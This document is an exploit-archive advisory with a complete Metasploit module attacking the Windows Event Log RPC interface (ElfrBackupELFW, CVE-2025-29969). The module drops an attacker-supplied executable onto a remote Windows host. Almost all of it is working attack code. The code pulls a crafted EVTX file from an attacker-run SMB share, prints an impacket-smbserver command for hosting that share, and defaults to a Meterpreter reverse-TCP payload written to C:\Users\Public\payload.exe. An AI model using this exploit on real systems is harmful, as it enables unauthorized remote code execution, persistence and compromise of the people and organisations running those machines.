📄 MS‑EVEN TOCTOU ElfrBackupELFW Arbitrary File Write

=============================================================================================================================================
    | # Title     : MS‑EVEN TOCTOU Remote Arbitrary File Write via ElfrBackupELFW Vulnerability                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : No standalone download available                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    :  A Time-of-Check Time-of-Use (TOCTOU) vulnerability exists in the Microsoft Event Log Remote Protocol (MS‑EVEN).
                      By abusing the ElfrBackupELFW RPC function, an authenticated low-privileged user can coerce the Windows Event Log service into writing arbitrary files to a chosen location on the target system.
                      The issue stems from improper validation and usage timing between path verification and file creation operations. 
    				  By leveraging a crafted remote SMB path and a controlled file sequence, an attacker can cause the service to write attacker‑controlled content to a local file path.
    
    [+] Successful exploitation may result in:
    
    Arbitrary file write on the remote Windows system
    
    Potential privilege escalation (depending on target path)
    
    Persistence or execution of attacker‑controlled binaries
    
    [+] The vulnerability affects systems where the MS‑EVEN service is accessible over SMB named pipes and where valid authentication credentials are available.
    
    [+] POC   : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::SMB::Client
      include Msf::Exploit::Remote::DCERPC
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    
      MS_EVEN_UUID = '82273fdc-e32a-18c3-3f78-827929dc23ea'
      
      VERSIONS_TO_TRY = [
        [1, 0],
        [0, 0]
      ]
    
      ELFR_OPEN_BEL_W = 0
      ELFR_BACKUP_ELFW = 1
      STATUS_SEVERITY_SUCCESS = 0x0
      STATUS_SEVERITY_INFORMATIONAL = 0x1
      STATUS_SEVERITY_WARNING = 0x2
      STATUS_SEVERITY_ERROR = 0x3
      STATUS_SUCCESS = 0x00000000
      STATUS_BUFFER_OVERFLOW = 0x80000005
      STATUS_NO_MORE_ENTRIES = 0x8000001A
      STATUS_INVALID_HANDLE = 0xC0000008
      STATUS_INVALID_PARAMETER = 0xC000000D
      STATUS_ACCESS_DENIED = 0xC0000022
      STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034
      STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A
      STATUS_BAD_NETWORK_PATH = 0xC00000BE
    
      NDR = Rex::Encoder::NDR
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MS-EVEN TOCTOU Vulnerability (CVE-2025-29969) Remote File Write',
            'Description' => %q{
              This module exploits a Time-of-Check Time-of-Use (TOCTOU) vulnerability in the
              MS-EVEN protocol (Windows Event Log service). A low-privileged authenticated user
              can write arbitrary files to a remote Windows machine by abusing the
              ElfrBackupELFW RPC function.
    
              This module strictly follows the MS-EVEN protocol specification and uses proper
              NDR pointer graph representation as defined in the official IDL.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-29969'],
              ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29969']
            ],
            'DisclosureDate' => '2025-05-13',
            'Platform' => ['win'],
            'Targets' => [
              [
                'Windows Automatic', {
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DefaultOptions' => {
              'WfsDelay' => 30,
              'DCERPC::fake_bind_multi' => true,
              'SMB::ProtocolVersion' => 3
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [
                IOC_IN_LOGS,
                ARTIFACTS_ON_DISK,
                SCREEN_EFFECTS
              ]
            }
          )
        )
    
        register_options([
          Opt::RHOST,
          Opt::RPORT(445),
          OptString.new('SMBHOST', [true, 'The IP of the attacker SMB server', nil]),
          OptString.new('SMBUSER', [true, 'The username to authenticate as', nil]),
          OptString.new('SMBPASS', [true, 'The password for the specified username', nil]),
          OptString.new('SMBDOMAIN', [false, 'The Windows domain to authenticate to', '.']),
          OptString.new('VALID_EVTX', [true, 'Local path to a valid EVTX file', nil]),
          OptString.new('REMOTE_PATH', [true, 'Remote path to write the payload', 'C:\\Users\\Public\\payload.exe']),
          OptString.new('SHARE_NAME', [true, 'Name of the SMB share', 'Share']),
          OptString.new('NAMED_PIPE', [true, 'Named pipe for EventLog service', 'eventlog'])
        ])
    
        register_advanced_options([
          OptBool.new('SMB3_SUPPORT', [true, 'Enable SMB3 support', true]),
          OptInt.new('BIND_RETRIES', [true, 'Number of bind retries', 3]),
          OptBool.new('VERIFY_WITH_SMB', [true, 'Verify file write using SMB', true]),
          OptString.new('VERIFY_SHARE', [true, 'SMB share for verification', 'C$']),
          OptInt.new('SMB_SHARE_WAIT', [true, 'Seconds to wait for SMB share', 30]),
          OptBool.new('STRICT_NTSTATUS', [true, 'Strict NTSTATUS parsing', true])
        ])
      end
    
      # ==================== NDR Helpers  ====================
    
      # NDR pointer graph representation:
      # typedef struct _RPC_UNICODE_STRING {
      #   unsigned short Length;
      #   unsigned short MaximumLength;
      #   [size_is(MaximumLength/2), length_is(Length/2)] WCHAR* Buffer;
      # } RPC_UNICODE_STRING;
      #
      # In NDR, the representation is:
      # - pointer to struct (referent_id1)
      # - struct containing:
      #   - Length
      #   - MaximumLength
      #   - pointer to buffer (referent_id2)
      # - buffer data (conformant array)
      def pack_rpc_unicode_string(str)
        utf16_str = "#{str}\x00".encode('UTF-16LE')
        
        length = utf16_str.bytesize - 2
        max_length = utf16_str.bytesize
    
        length = (length + 1) & ~1 if length.odd?
        max_length = (max_length + 1) & ~1 if max_length.odd?
        @struct_pointer_id ||= 0x20000
        @buffer_pointer_id ||= 0x30000
        
        struct_pointer = @struct_pointer_id
        buffer_pointer = @buffer_pointer_id
        @struct_pointer_id += 0x1000
        @buffer_pointer_id += 0x1000
        outer_pointer = NDR.long(struct_pointer)
        structure = NDR.short(length) + 
                    NDR.short(max_length) + 
                    NDR.long(buffer_pointer)  # pointer to buffer
    
        buffer_data = NDR.UnicodeConformantVaryingStringPreBuilt(utf16_str)
    
        outer_pointer + structure + buffer_data
      end
    
      def parse_context_handle(data)
        return nil if data.nil? || data.length != 20
    
        context_handle = {
          raw: data,
          attributes: data[0, 4].unpack('V')[0],
          uuid_data: data[4, 16]
        }
    
        return nil if context_handle[:uuid_data].bytes.all?(&:zero?)
        
        context_handle
      end
    
      def ntstatus_severity(status)
        (status >> 30) & 0x3
      end
    
      def ntstatus_is_success?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_SUCCESS
      end
    
      def ntstatus_is_informational?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_INFORMATIONAL
      end
    
      def ntstatus_is_warning?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_WARNING
      end
    
      def ntstatus_is_error?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_ERROR
      end
    
      def ntstatus_to_s(status)
        case status
        when STATUS_SUCCESS
          "STATUS_SUCCESS"
        when STATUS_BUFFER_OVERFLOW
          "STATUS_BUFFER_OVERFLOW"
        when STATUS_NO_MORE_ENTRIES
          "STATUS_NO_MORE_ENTRIES"
        when STATUS_INVALID_HANDLE
          "STATUS_INVALID_HANDLE"
        when STATUS_INVALID_PARAMETER
          "STATUS_INVALID_PARAMETER"
        when STATUS_ACCESS_DENIED
          "STATUS_ACCESS_DENIED"
        when STATUS_OBJECT_NAME_NOT_FOUND
          "STATUS_OBJECT_NAME_NOT_FOUND"
        when STATUS_OBJECT_PATH_NOT_FOUND
          "STATUS_OBJECT_PATH_NOT_FOUND"
        when STATUS_BAD_NETWORK_PATH
          "STATUS_BAD_NETWORK_PATH"
        else
          "0x#{status.to_s(16)}"
        end
      end
    
      def parse_open_response(stub_data)
        result = { status: nil, handle: nil, error: nil }
        
        return result if stub_data.nil? || stub_data.empty?
        if stub_data.length < 24
          result[:error] = "Response too short: #{stub_data.length} bytes"
          return result
        end
    
        result[:status] = stub_data[0, 4].unpack('V')[0]
        handle_data = stub_data[4, 20]
        result[:handle] = parse_context_handle(handle_data)
        if stub_data.length > 24
          vprint_warning("Open response has #{stub_data.length - 24} extra bytes")
        end
        
        result
      end
    
      def parse_backup_response(stub_data)
        result = { status: nil, error: nil }
    
        if stub_data.nil? || stub_data.empty?
          result[:error] = "Empty response"
          return result
        end
    
        if stub_data.length < 4
          result[:error] = "Response too short: #{stub_data.length} bytes"
          return result
        end
    
        result[:status] = stub_data[0, 4].unpack('V')[0]
        if stub_data.length > 4
          vprint_warning("Backup response has #{stub_data.length - 4} extra bytes")
        end
        
        result
      end
    
      def prepare_files(valid_evtx_path, payload_data)
        base_name = File.basename(valid_evtx_path, '.evtx')
        timestamp = Time.now.to_i
    
        work_dir = File.join(File.dirname(valid_evtx_path), "exploit_#{timestamp}")
        Dir.mkdir(work_dir) unless Dir.exist?(work_dir)
        evtx_file = File.join(work_dir, "#{base_name}.evtx")
        FileUtils.cp(valid_evtx_path, evtx_file)
        payload_file = File.join(work_dir, 'payload.exe')
        File.binwrite(payload_file, payload_data)
        malicious_evtx = File.join(work_dir, "#{base_name}.malicious.evtx")
        
        File.open(malicious_evtx, 'wb') do |f|
          f.write(payload_data)
          f.write("\x00")
          f.write(File.binread(evtx_file))
        end
        
        {
          work_dir: work_dir,
          evtx: evtx_file,
          payload: payload_file,
          malicious_evtx: malicious_evtx
        }
      end
    
      def verify_file_with_smb(remote_path, timeout = 10)
        return true unless datastore['VERIFY_WITH_SMB']
        
        begin
    
          unless remote_path =~ /^([A-Z]):\\(.*)/
            print_warning("Cannot parse remote path: #{remote_path}")
            return false
          end
          
          drive = $1
          rel_path = $2.gsub('\\', '/')
          share_name = "#{drive}#{datastore['VERIFY_SHARE'][1..-1] || '$'}"
          
          vprint_status("Verifying: \\\\#{datastore['RHOST']}\\#{share_name}\\#{rel_path}")
    
          smb = Rex::Proto::SMB::SimpleClient.new(
            datastore['RHOST'],
            datastore['RPORT'] == 445 ? true : false
          )
          
          begin
            smb.login(
              datastore['SMBDOMAIN'] || '',
              datastore['SMBUSER'],
              datastore['SMBPASS']
            )
    
            tree = smb.tree_connect("\\\\#{datastore['RHOST']}\\#{share_name}")
    
            begin
              Timeout.timeout(timeout) do
                fid = tree.open(rel_path, 0x10000)  # GENERIC_READ
                if fid
                  tree.close(fid)
                  print_good("File verified: #{remote_path}")
                  return true
                end
              end
            rescue Timeout::Error
              vprint_error("Timeout opening file")
            rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
              if e.to_s.include?("STATUS_OBJECT_NAME_NOT_FOUND")
                vprint_status("File not found")
              else
                vprint_error("SMB error: #{e}")
              end
            end
            
            tree.disconnect
          ensure
            smb.disconnect
          end
          
        rescue => e
          vprint_error("Verification error: #{e}")
        end
        
        false
      end
    
      def check
        begin
          smb_versions = []
          smb_versions << 3 if datastore['SMB3_SUPPORT']
          smb_versions << 2 << 1
          
          connect(versions: smb_versions.compact)
          smb_login
          disconnect
    
          VERSIONS_TO_TRY.each do |major, minor|
            begin
              handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', 
                                     ["\\pipe\\#{datastore['NAMED_PIPE']}"])
              dcerpc_bind(handle)
              dcerpc_disconnect
              return CheckCode::Appears("Successfully bound with version #{major}.#{minor}")
            rescue => e
              next
            end
          end
    
          return CheckCode::Detected('Valid credentials but RPC bind failed')
          
        rescue Rex::Proto::SMB::Exceptions::LoginError
          return CheckCode::Detected('Authentication failed')
        rescue => e
          return CheckCode::Safe("Connection failed: #{e}")
        ensure
          dcerpc_disconnect rescue nil
          disconnect rescue nil
        end
      end
    
      def exploit
        validate_options!
    
        print_status('Generating payload executable')
        payload_exe = generate_payload_exe
    
        print_status('Preparing exploit files')
        files = prepare_files(datastore['VALID_EVTX'], payload_exe)
    
        print_status("Files prepared in: #{files[:work_dir]}")
        print_status("  Original EVTX: #{File.basename(files[:evtx])}")
        print_status("  Payload: #{File.basename(files[:payload])}")
        print_status("  Malicious EVTX: #{File.basename(files[:malicious_evtx])}")
        print_status("SMB share required on #{datastore['SMBHOST']}:")
        print_status("  Share name: #{datastore['SHARE_NAME']}")
        print_status("  Directory: #{files[:work_dir]}")
        print_status("  File to use: #{File.basename(files[:malicious_evtx])}")
        print_status("")
        print_status("Command to run:")
        print_status("  impacket-smbserver -smb2support #{datastore['SHARE_NAME']} #{files[:work_dir]}")
        print_status("")
    
        wait_time = datastore['SMB_SHARE_WAIT']
        if wait_time > 0
          print_status("Waiting #{wait_time} seconds for SMB share...")
          wait_time.times do |i|
            if i % 10 == 0
              print_status("  #{wait_time - i} seconds remaining...")
            end
            sleep(1)
          end
        end
    
        max_attempts = 3
        max_attempts.times do |attempt|
          print_status("Exploit attempt #{attempt + 1}/#{max_attempts}")
    
          @struct_pointer_id = 0x20000 + (attempt * 0x10000)
          @buffer_pointer_id = 0x30000 + (attempt * 0x10000)
          
          begin
            result = perform_exploit(files[:malicious_evtx])
            
            case result[:status]
            when :success
              print_good("Exploit succeeded on attempt #{attempt + 1}: #{result[:message]}")
    
              if verify_file_with_smb(datastore['REMOTE_PATH'])
                print_good("File write verified")
              end
    
              register_file_for_cleanup(datastore['REMOTE_PATH'])
              
              return
              
            when :partial
              print_warning("Partial success: #{result[:message]}")
              print_warning("Check manually: #{datastore['REMOTE_PATH']}")
              
              if verify_file_with_smb(datastore['REMOTE_PATH'])
                print_good("File verified despite warning!")
                return
              end
              
            else
              print_error("Attempt #{attempt + 1} failed: #{result[:message]}")
            end
            
          rescue => e
            print_error("Attempt #{attempt + 1} error: #{e}")
            vprint_error("Backtrace: #{e.backtrace.first(3).join("\n")}")
          ensure
            dcerpc_disconnect rescue nil
            disconnect rescue nil
            sleep(3) if attempt < max_attempts - 1
          end
        end
    
        fail_with(Failure::Unknown, "All #{max_attempts} exploit attempts failed")
      end
    
      def validate_options!
        required = ['RHOST', 'SMBHOST', 'SMBUSER', 'SMBPASS', 'VALID_EVTX', 'REMOTE_PATH']
        required.each do |opt|
          if datastore[opt].nil? || datastore[opt].empty?
            fail_with(Failure::BadConfig, "#{opt} must be set")
          end
        end
    
        unless File.exist?(datastore['VALID_EVTX'])
          fail_with(Failure::BadConfig, "EVTX file not found: #{datastore['VALID_EVTX']}")
        end
      end
    
      def perform_exploit(malicious_evtx_path)
        result = { status: :failed, message: nil }
        
        evtx_filename = File.basename(malicious_evtx_path)
        share_path = "\\\\#{datastore['SMBHOST']}\\#{datastore['SHARE_NAME']}\\#{evtx_filename}"
        remote_path = datastore['REMOTE_PATH']
    
        print_status("SMB share path: #{share_path}")
        print_status("Target remote path: #{remote_path}")
    
        smb_versions = []
        smb_versions << 3 if datastore['SMB3_SUPPORT']
        smb_versions << 2 << 1
        
        begin
          connect(versions: smb_versions.compact)
          smb_login
        rescue => e
          result[:message] = "SMB connection failed: #{e}"
          return result
        end
    
        bound = false
        
        VERSIONS_TO_TRY.each do |major, minor|
          datastore['BIND_RETRIES'].times do |attempt|
            begin
              handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', 
                                     ["\\pipe\\#{datastore['NAMED_PIPE']}"])
              dcerpc_bind(handle)
              bound = true
              vprint_good("Bound with version #{major}.#{minor}")
              break
            rescue => e
              vprint_status("Bind attempt #{attempt + 1} failed: #{e}")
              sleep(1)
            end
          end
          break if bound
        end
    
        unless bound
          result[:message] = 'Failed to bind to MS-EVEN interface'
          return result
        end
    
        print_status("Calling ElfrOpenBELW...")
        
        unicode_share = pack_rpc_unicode_string(share_path)
        
        open_stub = unicode_share + 
                    NDR.long(0x00000001) +  # ELOG_READ
                    NDR.long(0xC0000000)     # GENERIC_READ | GENERIC_WRITE
        
        begin
          open_response_raw = dcerpc_call(ELFR_OPEN_BEL_W, open_stub)
          open_result = parse_open_response(open_response_raw)
        rescue => e
          result[:message] = "ElfrOpenBELW failed: #{e}"
          return result
        end
        if open_result[:error]
          result[:message] = "ElfrOpenBELW parse error: #{open_result[:error]}"
          return result
        end
        
        if open_result[:status].nil?
          result[:message] = "ElfrOpenBELW returned no status"
          return result
        end
        
        unless ntstatus_is_success?(open_result[:status])
          result[:message] = "ElfrOpenBELW failed: #{ntstatus_to_s(open_result[:status])}"
          return result
        end
        
        if open_result[:handle].nil?
          result[:message] = "ElfrOpenBELW returned no handle"
          return result
        end
        
        print_good("ElfrOpenBELW succeeded")
        print_status("Calling ElfrBackupELFW...")
        
        unicode_remote = pack_rpc_unicode_string(remote_path)
        backup_stub = open_result[:handle][:raw] + unicode_remote
        
        begin
          backup_response_raw = dcerpc_call(ELFR_BACKUP_ELFW, backup_stub)
          backup_result = parse_backup_response(backup_response_raw)
          
        rescue Rex::Proto::DCERPC::Exceptions::Fault => e
    
          if e.fault == 0x6d6f6c63  # "clom" signature
            result[:status] = :partial
            result[:message] = "RPC fault 0x6d6f6c63 - possible TOCTOU success"
          else
            result[:message] = "ElfrBackupELFW RPC fault: 0x#{e.fault.to_s(16)}"
          end
          return result
          
        rescue => e
          result[:message] = "ElfrBackupELFW failed: #{e}"
          return result
        end
    
        if backup_result[:error]
    
          if datastore['STRICT_NTSTATUS']
            result[:message] = "ElfrBackupELFW parse error: #{backup_result[:error]}"
            return result
          else
            result[:status] = :partial
            result[:message] = "ElfrBackupELFW completed with parse error - possible success"
            return result
          end
        end
        
        if backup_result[:status].nil?
    
          result[:status] = :partial
          result[:message] = "ElfrBackupELFW returned no status"
          return result
        end
    
        if ntstatus_is_success?(backup_result[:status])
          result[:status] = :success
          result[:message] = ntstatus_to_s(backup_result[:status])
          
        elsif ntstatus_is_informational?(backup_result[:status])
          result[:status] = :success
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} (informational)"
          
        elsif ntstatus_is_warning?(backup_result[:status])
          result[:status] = :partial
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} (warning)"
          
        elsif backup_result[:status] == STATUS_INVALID_HANDLE
          result[:status] = :partial
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} - possible TOCTOU success"
          
        else
          result[:message] = "ElfrBackupELFW failed: #{ntstatus_to_s(backup_result[:status])}"
        end
        
        result
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================